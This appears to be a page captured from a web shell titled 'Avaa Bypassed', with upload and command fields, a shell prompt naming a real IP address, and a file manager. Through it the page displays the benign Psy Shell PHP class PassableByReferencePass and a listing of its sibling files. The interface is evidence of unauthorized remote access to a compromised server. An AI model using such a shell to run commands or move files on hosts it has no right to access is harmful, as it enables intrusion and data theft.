404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.119.112.143: ~ $
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2023 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\CodeCleaner;

use PhpParser\Node;
use PhpParser\Node\Expr;
use PhpParser\Node\Expr\Array_;
use PhpParser\Node\Expr\ArrayDimFetch;
use PhpParser\Node\Expr\ClassConstFetch;
use PhpParser\Node\Expr\FuncCall;
use PhpParser\Node\Expr\MethodCall;
use PhpParser\Node\Expr\PropertyFetch;
use PhpParser\Node\Expr\StaticCall;
use PhpParser\Node\Expr\Variable;
use Psy\Exception\FatalErrorException;

/**
 * Validate that only variables (and variable-like things) are passed by reference.
 */
class PassableByReferencePass extends CodeCleanerPass
{
    const EXCEPTION_MESSAGE = 'Only variables can be passed by reference';

    /**
     * @throws FatalErrorException if non-variables are passed by reference
     *
     * @param Node $node
     *
     * @return int|Node|null Replacement node (or special return value)
     */
    public function enterNode(Node $node)
    {
        // @todo support MethodCall and StaticCall as well.
        if ($node instanceof FuncCall) {
            // if function name is an expression or a variable, give it a pass for now.
            if ($node->name instanceof Expr || $node->name instanceof Variable) {
                return;
            }

            $name = (string) $node->name;

            if ($name === 'array_multisort') {
                return $this->validateArrayMultisort($node);
            }

            try {
                $refl = new \ReflectionFunction($name);
            } catch (\ReflectionException $e) {
                // Well, we gave it a shot!
                return;
            }

            foreach ($refl->getParameters() as $key => $param) {
                if (\array_key_exists($key, $node->args)) {
                    $arg = $node->args[$key];
                    if ($param->isPassedByReference() && !$this->isPassableByReference($arg)) {
                        throw new FatalErrorException(self::EXCEPTION_MESSAGE, 0, \E_ERROR, null, $node->getLine());
                    }
                }
            }
        }
    }

    private function isPassableByReference(Node $arg): bool
    {
        // Unpacked arrays can be passed by reference
        if ($arg->value instanceof Array_) {
            return $arg->unpack;
        }

        // FuncCall, MethodCall and StaticCall are all PHP _warnings_ not fatal errors, so we'll let
        // PHP handle those ones :)
        return $arg->value instanceof ClassConstFetch ||
            $arg->value instanceof PropertyFetch ||
            $arg->value instanceof Variable ||
            $arg->value instanceof FuncCall ||
            $arg->value instanceof MethodCall ||
            $arg->value instanceof StaticCall ||
            $arg->value instanceof ArrayDimFetch;
    }

    /**
     * Because array_multisort has a problematic signature...
     *
     * The argument order is all sorts of wonky, and whether something is passed
     * by reference or not depends on the values of the two arguments before it.
     * We'll do a good faith attempt at validating this, but err on the side of
     * permissive.
     *
     * This is why you don't design languages where core code and extensions can
     * implement APIs that wouldn't be possible in userland code.
     *
     * @throws FatalErrorException for clearly invalid arguments
     *
     * @param Node $node
     */
    private function validateArrayMultisort(Node $node)
    {
        $nonPassable = 2; // start with 2 because the first one has to be passable by reference
        foreach ($node->args as $arg) {
            if ($this->isPassableByReference($arg)) {
                $nonPassable = 0;
            } elseif (++$nonPassable > 2) {
                // There can be *at most* two non-passable-by-reference args in a row. This is about
                // as close as we can get to validating the arguments for this function :-/
                throw new FatalErrorException(self::EXCEPTION_MESSAGE, 0, \E_ERROR, null, $node->getLine());
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
AbstractClassPass.php File 2.31 KB 0644
AssignThisVariablePass.php File 1.09 KB 0644
CallTimePassByReferencePass.php File 1.57 KB 0644
CalledClassPass.php File 2.67 KB 0644
CodeCleanerPass.php File 415 B 0644
EmptyArrayDimFetchPass.php File 1.73 KB 0644
ExitPass.php File 859 B 0644
FinalClassPass.php File 1.74 KB 0644
FunctionContextPass.php File 1.53 KB 0644
FunctionReturnInWriteContextPass.php File 2.67 KB 0644
ImplicitReturnPass.php File 4.13 KB 0644
InstanceOfPass.php File 1.91 KB 0644
IssetPass.php File 1.37 KB 0644
LabelContextPass.php File 2.58 KB 0644
LeavePsyshAlonePass.php File 992 B 0644
ListPass.php File 3.26 KB 0644
LoopContextPass.php File 3.61 KB 0644
MagicConstantsPass.php File 1.04 KB 0644
NamespaceAwarePass.php File 1.91 KB 0644
NamespacePass.php File 2.43 KB 0644
NoReturnValue.php File 828 B 0644
PassableByReferencePass.php File 4.1 KB 0644
RequirePass.php File 4.56 KB 0644
ReturnTypePass.php File 3.72 KB 0644
StrictTypesPass.php File 2.48 KB 0644
UseStatementPass.php File 4.41 KB 0644
ValidClassNamePass.php File 9.85 KB 0644
ValidConstructorPass.php File 3.93 KB 0644
ValidFunctionNamePass.php File 2.36 KB 0644